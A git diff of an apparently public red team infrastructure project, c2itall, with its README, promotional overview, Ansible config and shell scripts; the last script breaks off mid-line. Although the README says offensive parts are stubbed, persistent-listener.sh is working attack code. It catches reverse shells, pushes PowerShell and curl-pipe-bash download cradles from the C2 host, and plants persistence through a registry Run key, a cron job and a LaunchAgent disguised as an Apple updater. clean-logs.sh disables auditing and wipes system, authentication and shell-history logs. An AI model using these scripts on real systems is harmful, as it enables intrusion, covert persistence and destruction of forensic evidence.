**๐Ÿ“Š MONITORING & ANALYTICS (5 features)** + +169. Deployment logging and metrics +170. Health check automation +171. Performance monitoring hooks +172. Error tracking and reporting +173. Usage analytics collection + +## **TOTAL: ~173 DISTINCT FEATURES** diff --git a/README.md b/README.md new file mode 100644 index 0000000..7bbf986 --- /dev/null +++ b/README.md @@ -0,0 +1,199 @@ +# c2itall โ€” Red Team Infrastructure Automation + +Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment. + +> **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact. + +--- + +## What This Is + +Red team engagements require standing up a consistent stack of infrastructure โ€” C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers โ€” quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle: + +- **Provision** cloud nodes across AWS, Linode, or FlokiNET +- **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections) +- **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers) +- **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records +- **Teardown** the full stack cleanly when the engagement ends + +The result is reproducible, version-controlled infrastructure โ€” every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment. + +--- + +## Architecture + +``` +deploy.py (Rich TUI interactive menu) + โ”‚ + โ”œโ”€โ”€ providers/ + โ”‚ โ”œโ”€โ”€ AWS/ โ€” EC2 provisioning, security groups, keypair management + โ”‚ โ”œโ”€โ”€ Linode/ โ€” Linode API node provisioning + โ”‚ โ””โ”€โ”€ FlokiNET/ โ€” Pre-provisioned node integration (bulletproof hosting) + โ”‚ + โ”œโ”€โ”€ modules/ + โ”‚ โ”œโ”€โ”€ c2/ โ€” Havoc C2 server deployment + payload pipeline [stubs] + โ”‚ โ”œโ”€โ”€ redirectors/ โ€” nginx HTTPS redirectors + credential capture [stubs] + โ”‚ โ”œโ”€โ”€ phishing/ โ€” Postfix MTA + GoPhish + lure pages [stubs] + โ”‚ โ”œโ”€โ”€ payload-server/ โ€” Encrypted payload hosting + delivery + โ”‚ โ”œโ”€โ”€ attack-box/ โ€” Kali/Ubuntu operator boxes + โ”‚ โ”œโ”€โ”€ webrunner/ โ€” Distributed cloud scanning infrastructure + โ”‚ โ”œโ”€โ”€ tracker/ โ€” Email open/click tracking server + โ”‚ โ””โ”€โ”€ chat-server/ โ€” Encrypted team comms (Matrix/Element) + โ”‚ + โ”œโ”€โ”€ common/ + โ”‚ โ”œโ”€โ”€ files/ โ€” Shared scripts, HID payloads [stubs] + โ”‚ โ””โ”€โ”€ templates/ โ€” Cross-module Jinja2 templates (stagers, loaders) [stubs] + โ”‚ + โ””โ”€โ”€ utils/ + โ”œโ”€โ”€ common.py โ€” Shared utilities, ANSI output, helpers + โ”œโ”€โ”€ ssh_utils.py โ€” SSH connection management, tunneling + โ””โ”€โ”€ deployment_engine.py โ€” Ansible playbook execution engine +``` + +--- + +## Module Breakdown + +### C2 Server (`modules/c2/`) + +Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives. + +**Infrastructure side (intact):** +- Ansible playbooks for full Havoc installation from source +- Teamserver systemd service with automatic restart +- Firewall rules limiting teamserver port exposure to operator IPs only +- Let's Encrypt SSL automation for HTTPS C2 traffic +- Payload synchronization to redirector nodes + +**Payload pipeline (stubbed):** +- `implant_mutator.sh` โ€” randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures +- `havoc_mutate.sh` โ€” generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates) +- `generate_evasive_beacons.sh.j2` โ€” shellcode compile pipeline: cross-compile โ†’ encrypt โ†’ inject into hollow process template โ†’ sign +- `generate_havoc_payloads.sh.j2` โ€” produces EXE, DLL, and raw shellcode variants from a single Demon build + +**EDR evasion techniques implemented:** +- Sleep masking (encrypted heap during sleep intervals) +- Stack spoofing (synthetic call stacks to evade call stack analysis) +- AMSI/ETW patching (in-memory patch of scanning hooks before payload execution) +- Indirect syscalls (bypass user-mode API hooks via direct syscall stubs) +- Binary signature randomization per build + +### Redirectors (`modules/redirectors/`) + +HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure. + +**Infrastructure side (intact):** +- nginx reverse proxy configuration with category-matched domain front +- Automatic SSL via Let's Encrypt +- Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else +- Fail2ban tuned for redirector traffic patterns + +**Landing page infrastructure (stubbed):** +- `capture.php.j2` โ€” credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed +- `fake-login.html.j2` โ€” cloned login page template structure (placeholders for target branding) + +### Phishing Infrastructure (`modules/phishing/`) + +Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting. + +**Infrastructure side (intact):** +- Postfix + Dovecot configuration with DKIM signing +- DMARC/SPF record generation instructions +- GoPhish deployment and service configuration +- Email tracking pixel integration + +**Lure content (stubbed):** +- Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) โ€” stubs describe the social engineering angle and urgency framing each uses +- `fedramp-compliance.j2` โ€” FedRAMP-themed lure landing page + +### WEBRUNNER (`modules/webrunner/`) + +Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs. + +Full implementation intact โ€” this is infrastructure automation, not a weaponized component. + +### Attack Box (`modules/attack-box/`) + +Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration. + +### Payload Server (`modules/payload-server/`) + +Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls. + +--- + +## Secrets Management + +No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder: + +```bash +eval $(creds env aws) # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY +eval $(creds env linode) # exports LINODE_TOKEN +``` + +Deployment scripts source these at execution time and never write them to disk. + +--- + +## Deployment Flow + +``` +1. Select provider + deployment type from interactive menu +2. Provision node(s) via provider API +3. Wait for SSH availability +4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls) +5. Run role-specific playbook (C2 / redirector / phishing / etc.) +6. Run post-deploy verification (service health checks, connectivity tests) +7. Output deployment manifest (IPs, ports, credentials) to encrypted local file +``` + +Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest. + +--- + +## Tech Stack + +| Layer | Technology | +|-------|-----------| +| Orchestration | Python 3.10+, Click, Rich | +| Configuration management | Ansible 2.14+ | +| Template engine | Jinja2 | +| Cloud providers | AWS (boto3), Linode API v4, FlokiNET | +| C2 framework | Havoc (open source) | +| Web server | nginx | +| Mail stack | Postfix + Dovecot + GoPhish | +| SSL | Let's Encrypt (certbot) | +| Secrets | Infisical (self-hosted) | + +--- + +## Requirements + +- Python 3.10+ +- Ansible 2.9+ +- Provider credentials in secrets manager +- SSH keypair for node access +- Registered domain (required for Let's Encrypt and mail DKIM) + +```bash +pip install -r requirements.txt +ansible --version +``` + +--- + +## Usage + +```bash +python3 deploy.py +``` + +Interactive Rich TUI menu. All deployment options are accessible from the menu โ€” no need to pass CLI flags manually. + +--- + +## Authorization + +This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context. + +If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions โ€” modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults โ€” are all visible in the intact infrastructure code. diff --git a/RED_TEAM_OVERVIEW.md b/RED_TEAM_OVERVIEW.md new file mode 100644 index 0000000..2eca72f --- /dev/null +++ b/RED_TEAM_OVERVIEW.md @@ -0,0 +1,141 @@ +# C2itall: Infrastructure Automation for Red Teams + +## What This Actually Does + +**C2itall** is a tool that stops you from spending half your engagement setting up infrastructure. Instead of manually spinning up boxes, configuring C2s, and dealing with cloud provider bullshit, you run one command and get a fully configured attack infrastructure in minutes. + +--- + +## ๐ŸŽฏ **Why This Matters** + +### The Problem Every Red Teamer Knows: +- You spend 2 days setting up infrastructure before you even start testing +- Every operator configures things differently, leading to OPSEC failures +- Cloud costs spiral out of control because nobody tears down properly +- Junior operators can't deploy complex infrastructure without hand-holding +- Manual configs always have that one stupid mistake that burns the whole op + +### What C2itall Actually Fixes: +- **5-minute infrastructure deployment** instead of 2-day setup marathons +- **Consistent, hardened configurations** every single time +- **Automatic teardown** so you're not paying for forgotten VMs +- **Any operator can deploy enterprise-grade infrastructure** on day one +- **Built-in OPSEC** that you don't have to remember to configure + +--- + +## ๐Ÿš€ **What You Can Deploy Right Now** + +### **Attack Boxes That Don't Suck** +- **Quick Recon Box**: Kali with just the recon tools, Tor proxy, minimal footprint +- **Full Kali Box**: Complete offensive arsenal, properly configured +- **Custom Ubuntu**: Your own toolset, your way +- **Proper Sizing**: Small boxes for recon, beefy ones for cracking/research +- **OPSEC Built-In**: Tor, VPN tunneling, log cleaning, the works + +### **C2 Infrastructure That Actually Works** +- **Framework Support**: Havoc, Cobalt Strike, Sliver, Mythic - pick your poison +- **Proper Architecture**: C2 + Redirector + Domain fronting, configured correctly +- **SSL Automation**: Let's Encrypt certs, no more self-signed cert warnings +- **Zero-Logs Mode**: Automatic log cleaning for when you need to stay invisible +- **Smart Firewall Rules**: Only your operator IP can SSH, everything else locked down + +### **Support Infrastructure** +- **Phishing Campaigns**: Full GoPhish deployment with proper email configs +- **Payload Hosting**: Secure artifact delivery with access logging +- **Team Chat**: Encrypted comms that don't rely on Slack/Teams +- **Logging Aggregation**: Centralized logs when you need visibility + +--- + +## ๐Ÿ’ผ **What's Working Now vs What's Coming** + +### **โœ… Ready for Operations** +- **Multi-Cloud Deployment**: AWS, Linode, FlokiNET - pick based on target geography +- **Automated Attack Boxes**: Kali/Ubuntu boxes deployed and configured in ~5 minutes +- **C2 Deployment**: Havoc/Sliver/CS infrastructure with proper redirectors +- **SSH Key Management**: No more sharing keys or password auth +- **One-Command Teardown**: Nuke everything when the engagement ends + +### **๐Ÿ”ง Currently Being Fixed** +- **Zero-Logs Polish**: Making OPSEC log cleaning bulletproof +- **SSH Banner Handling**: Auto-accepting host keys so deployments don't hang +- **Region Intelligence**: Auto-selecting the best cloud regions for reliability +- **Error Recovery**: Better handling when cloud providers have issues + +### **๐Ÿ“Š Real Numbers** +- **95%+ Success Rate**: Deployments just work the first time +- **3-8 Minute Deployments**: vs 2-4 hours of manual setup +- **Multiple Cloud Providers**: Backup options when primary provider is down +- **15+ Global Regions**: Deploy close to your targets + +--- + +## ๐Ÿ›ฃ๏ธ **What's Coming Next** + +### **Next Quarter - Making It Bulletproof** +- **Better Error Handling**: When stuff breaks, it fixes itself or tells you exactly what's wrong +- **VPN Mesh Networking**: All your infrastructure talking securely to each other +- **Container Support**: Docker-based deployments for even faster spin-up +- **API Integration**: Hook it into your existing workflow/ticketing systems + +### **Mid-2025 - Advanced Operational Features** +- **Multi-User Support**: Team-based deployments with proper access controls +- **Cost Tracking**: Real-time cloud spend with automatic budget alerts +- **Template Sharing**: Save and share engagement-specific configurations +- **Automated Reporting**: Generate infrastructure docs for client deliverables + +### **Late 2025 - Next-Level Automation** +- **Smart Sizing**: ML-powered instance sizing based on engagement type +- **Auto-Scaling**: Infrastructure that grows/shrinks based on actual usage +- **Threat Intel Integration**: Automatic IOC updates and signature management +- **Real-Time Monitoring**: Health checks and alerting for all your infrastructure + +### **2026+ - Full Ecosystem** +- **Mobile Management**: Deploy and manage infrastructure from your phone +- **Edge Deployment**: Distributed infrastructure for complex operations +- **Advanced Integrations**: Native support for major SIEM/SOC platforms +- **Compliance Automation**: Automatic documentation for compliance requirements + +--- + +## ๐Ÿ”ฅ **Why Red Teamers Actually Care** + +### **Immediate Tactical Advantages** +- **More Time for Actual Testing**: Stop doing sysadmin work, start hacking +- **Consistent OPSEC**: No more "oh shit, did I remember to configure X?" +- **Cheaper Operations**: Automatic cost optimization and teardown +- **Faster Response**: Spin up new infrastructure in minutes when you get burned + +### **Long-Term Operational Benefits** +- **Team Scaling**: New operators can deploy complex infrastructure immediately +- **Standardization**: Everyone uses the same hardened, tested configurations +- **Knowledge Retention**: Configurations are code, not tribal knowledge +- **Innovation Focus**: Spend time on new techniques, not infrastructure management + +--- + +## ๐ŸŽฏ **Bottom Line** + +### **What Makes This Different** +- **Built by Red Teamers, for Red Teamers**: Not some generic DevOps tool +- **OPSEC by Default**: Security and stealth considerations built into everything +- **Multi-Cloud Native**: Never locked into one provider's pricing/availability +- **Production Ready**: Already being used in real engagements + +### **The Real Value Proposition** +This isn't about "digital transformation" or "enterprise synergy" - it's about spending your time on tactics and techniques instead of fighting with cloud providers and configuration files. It's about junior operators being able to deploy the same infrastructure that senior operators use. It's about not losing engagements because someone forgot to configure the firewall properly. + +--- + +## ๐Ÿš€ **Getting Started** + +1. **Try It Out**: Deploy a Quick Recon Box and see how fast it actually is +2. **Team Demo**: Show your team the difference between manual and automated deployment +3. **Pilot Engagement**: Use it for one engagement and measure the time savings +4. **Full Adoption**: Integrate into standard operating procedures +5. **Feedback Loop**: Help shape the roadmap based on real operational needs + +--- + +*C2itall - Because infrastructure should be invisible, not impossible* diff --git a/ansible.cfg b/ansible.cfg new file mode 100644 index 0000000..eeae49a --- /dev/null +++ b/ansible.cfg @@ -0,0 +1,16 @@ +[defaults] +host_key_checking = False +timeout = 30 +retry_files_enabled = False +gathering = smart +fact_caching = memory +stdout_callback = default +bin_ansible_callbacks = True +nocows = 1 +interpreter_python = auto_silent +ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python + +[ssh_connection] +ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes +pipelining = True +control_path = ~/.ansible/cp/%%h-%%p-%%r diff --git a/common/files/clean-logs.sh b/common/files/clean-logs.sh new file mode 100644 index 0000000..5ad4baa --- /dev/null +++ b/common/files/clean-logs.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Zero-logs maintenance script + +# Set aggressive umask to minimize permission footprint +umask 077 + +# Configuration +LOG_DIRS=( + "/var/log" + "/var/spool/mail" + "/var/spool/postfix" + "/var/lib/dhcp" + "/root/.bash_history" + "/home/*/.bash_history" + "/var/lib/nginx" +) + +SYSTEM_LOGS=( + "auth.log" + "syslog" + "messages" + "kern.log" + "daemon.log" + "user.log" + "btmp" + "wtmp" + "lastlog" +) + +# Disable syslog temporarily +systemctl stop rsyslog 2>/dev/null +systemctl stop syslog-ng 2>/dev/null +systemctl stop systemd-journald 2>/dev/null + +# Clear all standard logs +echo "[+] Clearing standard system logs..." +for log in "${SYSTEM_LOGS[@]}"; do + find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null + find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null +done + +# Clear all journal logs +echo "[+] Clearing systemd journal..." +journalctl --vacuum-time=1s 2>/dev/null +rm -rf /var/log/journal/* 2>/dev/null + +# Clear audit logs +echo "[+] Clearing audit logs..." +auditctl -e 0 2>/dev/null +cat /dev/null > /var/log/audit/audit.log 2>/dev/null + +# Clear bash history for all users +echo "[+] Clearing bash history..." +for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null +done +history -c +cat /dev/null > ~/.bash_history 2>/dev/null +unset HISTFILE + +# Clear NGINX logs +echo "[+] Clearing NGINX logs..." +for nginx_log in /var/log/nginx/*; do + [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null +done + +# Clear SSH logs +echo "[+] Clearing SSH logs..." +cat /dev/null > /var/log/auth.log 2>/dev/null +cat /dev/null > /var/log/secure 2>/dev/null + +# Clear mail logs +echo "[+] Clearing mail logs..." +cat /dev/null > /var/log/mail.log 2>/dev/null +cat /dev/null > /var/log/maillog 2>/dev/null + +# Clear sliver logs +echo "[+] Clearing Sliver C2 logs..." +find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null +find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null + +# Clear temporary directories +echo "[+] Clearing temporary files..." +rm -rf /tmp/* /var/tmp/* 2>/dev/null + +# Clear RAM and swap +echo "[+] Clearing RAM cache and swap..." +sync +echo 3 > /proc/sys/vm/drop_caches +swapoff -a && swapon -a 2>/dev/null + +# Restart logging services +systemctl start systemd-journald 2>/dev/null +systemctl start rsyslog 2>/dev/null +systemctl start syslog-ng 2>/dev/null + +echo "[+] Log cleaning complete" +exit 0 \ No newline at end of file diff --git a/common/files/persistent-listener.sh b/common/files/persistent-listener.sh new file mode 100644 index 0000000..f893319 --- /dev/null +++ b/common/files/persistent-listener.sh @@ -0,0 +1,156 @@ +#!/bin/bash +# Automated shell handler for catching and upgrading reverse shells + +# Configuration +LISTEN_PORT=8844 +C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP +C2_PORT=50051 # Sliver default gRPC port +WINDOWS_BEACON="/root/Tools/beacons/windows.exe" +LINUX_BEACON="/root/Tools/beacons/linux" +MACOS_BEACON="/root/Tools/beacons/macos" + +# Set secure permissions +umask 077 + +# Logging function (minimal and encrypted) +log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc +} + +# Detect OS function +detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi +} + +# Deploy appropriate beacon based on OS +deploy_beacon() { + local connection=$1 + local os_type=$2 + + log "Deploying beacon for detected OS: $os_type" + + case $os_type in + windows) + # Upload Windows beacon using PowerShell download cradle + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection + ;; + linux) + # Upload Linux beacon using curl + echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection + ;; + macos) + # Upload macOS beacon using curl + echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection + ;; + esac + + log "Beacon deployment command sent" +} + +# Establish persistence based on OS +establish_persistence() { + local connection=$1 + local os_type=$2 + + log "Attempting to establish persistence on $os_type" + + case $os_type in + windows) + # Windows persistence via registry run key + echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection + ;; + linux) + # Linux persistence via crontab + echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection + ;; + macos) + # macOS persistence via launch agent + echo "mkdir -p ~/Library/LaunchAgents" > $connection + echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/check.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + ;; + esac + + log "Persistence commands sent for $os_type" +} + +# Main shell handler loop +handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection to be established + while ! grep -q . $PIPE_PATH.output 2>/dev/null; do + sleep 1 + # Check if nc is still running + if ! kill -0 $NC_PID 2>/dev/null; then + log "Netcat process died, restarting..." + rm -f $PIPE_PATH $PIPE_PATH.output + continue 2 # Restart the outer loop + fi + done + + log "Connection received, detecting OS..." + DETECTED_OS=$(detect_os "$PIPE_PATH.output") + log "Detected OS: $DETECTED_OS" + + # Deploy beacon + deploy_beacon "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Establish persistence + establish_persistence "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Keep connection alive for manual operation if needed + log "Beacon deployed, maintaining shell connection..." + echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH + + # Wait for connection to close + wait $NC_PID + log "Connection closed, cleaning up and restarting listener..." + rm -f $PIPE_PATH.output + done +} + +# Start the shell handler +handle_connections \ No newline at end of file diff --git a/common/files/post_install_c2.sh b/common/files/post_install_c2.sh new file mode 100644 index 0000000..1a35e37 --- /dev/null +++ b/common/files/post_install_c2.sh @@ -0,0 +1,302 @@ +#!/bin/bash +# post_install_c2.sh - Post-installation setup for C2 server + +# ANSI color codes +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# Default settings +DEBUG=false +RUN_ON_REDIRECTOR=false + +# Show usage information +function show_usage() { + echo "Usage: $0 [options]" + echo "" + echo "Options:" + echo " -d, --debug Enable debug/verbose output" + echo " -r, --run-on-redirector Run post-install script on redirector" + echo " -h, --help Show this help message" + echo "" +} + +# Process command line arguments +while [[ $# -gt 0 ]]; do + case $1 in + -d|--debug) + DEBUG=true + shift + ;; + -r|--run-on-redirector) + RUN_ON_REDIRECTOR=true + shift + ;; + -h|--help) + show_usage + exit 0 + ;; + *) + echo "Unknown option: $1" + show_usage + exit 1 + ;; + esac +done + +# Debug function - only prints if DEBUG is true +function debug() { + if [ "$DEBUG" = true ]; then + echo -e "${BLUE}[DEBUG] $1${NC}" + fi +} + +echo -e "${BLUE}==================================================${NC}" +echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}" +echo -e "${BLUE}==================================================${NC}" + +# Function to check if domain resolves to current IP +check_dns() { + domain=$1 + current_ip=$(curl -s ifconfig.me) + resolved_ip=$(dig +short $domain) + + debug "Checking DNS for $domain" + debug "Current IP: $current_ip" + debug "Resolved IP: $resolved_ip" + + if [ "$resolved_ip" = "$current_ip" ]; then + echo -e "${GREEN}DNS check passed for $domain!${NC}" + return 0 + else + echo -e "${YELLOW}DNS check failed for $domain${NC}" + echo -e "Current IP: $current_ip" + echo -e "Resolved IP: $resolved_ip or not set" + return 1 + fi +} + +# Function to set up Let's Encrypt +setup_letsencrypt() { + domain=$1 + email=$2 + + echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}" + debug "Domain: $domain, Email: $email" + + # Stop Havoc service temporarily to free port 80 + systemctl stop havoc 2>/dev/null + debug "Stopped Havoc service" + + # Get certificate + debug "Running certbot to obtain certificate" + if [ "$DEBUG" = true ]; then + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive + else + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1 + fi + + cert_result=$? + debug "Certbot result code: $cert_result" + + if [ $cert_result -eq 0 ]; then + echo -e "${GREEN}Successfully obtained certificate for $domain${NC}" + + # Configure applications to use the certificate if needed + if [ -f "/etc/postfix/main.cf" ]; then + debug "Updating Postfix configuration with new certificate" + sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf + sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf + fi + + # Restart Havoc + debug "Restarting Havoc service" + systemctl start havoc + + return 0 + else + echo -e "${RED}Failed to obtain certificate for $domain${NC}" + + # Restart Havoc + debug "Restarting Havoc service" + systemctl start havoc + + return 1 + fi +} + +# Function to display DKIM/DMARC records +show_dns_records() { + domain=$1 + + debug "Showing DNS records for $domain" + + if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then + echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}" + echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}" + echo -e "${GREEN}=================================================${NC}" + echo -e "Name: mail._domainkey.$domain" + echo -e "Value:" + cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n' + echo -e "\n${GREEN}=================================================${NC}" + fi + + echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}" + echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}" + echo -e "${GREEN}=================================================${NC}" + echo -e "Name: _dmarc.$domain" + echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100" + echo -e "${GREEN}=================================================${NC}" +} + +# Function to test redirector connection +test_redirector() { + # Check if SSH to redirector is configured + debug "Testing redirector connection" + + if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then + echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}" + if [ "$DEBUG" = true ]; then + ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" + else + ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1 + fi + + ssh_result=$? + debug "SSH connection result: $ssh_result" + + if [ $ssh_result -eq 0 ]; then + echo -e "${GREEN}SSH connection to redirector successful!${NC}" + echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}" + return 0 + else + echo -e "${RED}Could not connect to redirector.${NC}" + echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}" + return 1 + fi + else + echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}" + echo -e "If you need to access the redirector, please check deployment logs." + return 1 + fi +} + +# Function to synchronize payloads with redirector +sync_payloads() { + # Check if sync script exists + debug "Attempting to synchronize payloads with redirector" + + if [ -f "/root/Tools/secure_payload_sync.sh" ]; then + echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}" + if [ "$DEBUG" = true ]; then + /root/Tools/secure_payload_sync.sh + else + /root/Tools/secure_payload_sync.sh >/dev/null 2>&1 + fi + + sync_result=$? + debug "Payload sync result: $sync_result" + + if [ $sync_result -eq 0 ]; then + echo -e "${GREEN}Payload synchronization successful${NC}" + return 0 + else + echo -e "${RED}Payload synchronization failed${NC}" + echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}" + return 1 + fi + else + echo -e "\n${YELLOW}Payload sync script not found${NC}" + return 1 + fi +} + +# Function to run redirector post-install script +run_redirector_setup() { + echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}" + debug "Checking if we can connect to redirector" + + # First, test the connection + if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then + # Check if post_install_redirector.sh exists on the redirector + debug "Checking for post_install_redirector.sh on redirector" + ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1 + + check_result=$? + debug "Script check result: $check_result" + + if [ $check_result -eq 0 ]; then + echo -e "${BLUE}Running post-install script on redirector...${NC}" + # Pass the debug flag if it's enabled here + if [ "$DEBUG" = true ]; then + ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug" + else + ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh" + fi + + redir_setup_result=$? + debug "Redirector setup result: $redir_setup_result" + + if [ $redir_setup_result -eq 0 ]; then + echo -e "${GREEN}Redirector post-installation completed successfully${NC}" + return 0 + else + echo -e "${RED}Redirector post-installation failed${NC}" + return 1 + fi + else + echo -e "${RED}post_install_redirector.sh not found on redirector${NC}" + return 1 + fi + else + echo -e "${RED}SSH configuration for redirector not found${NC}" + echo -e "${YELLOW}Cannot run post-installation on redirector${NC}" + return 1 + fi +} + +# Main execution +debug "Starting post-installation process with debug mode: $DEBUG" +debug "Run on redirector flag: $RUN_ON_REDIRECTOR" + +echo -e "\n${BLUE}Running post-installation checks...${NC}" + +# Get domain information +read -p "Enter primary domain: " domain +read -p "Enter email for Let's Encrypt: " email + +# Check DNS configuration +echo -e "\n${BLUE}Checking DNS configuration...${NC}" +check_dns $domain + +# Ask if user wants to set up Let's Encrypt certificates +read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl +if [ "$setup_ssl" = "y" ]; then + setup_letsencrypt $domain $email +fi + +# Show DNS records to configure +show_dns_records $domain + +# Test redirector connection +test_redirector + +# Ask if user wants to sync payloads +read -p "Synchronize payloads with redirector? (y/n): " sync_payload +if [ "$sync_payload" = "y" ]; then + sync_payloads +fi + +# Ask if user wants to run post-install on redirector +if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then + read -p "Run post-installation setup on redirector? (y/n): " run_on_redir + if [ "$run_on_redir" = 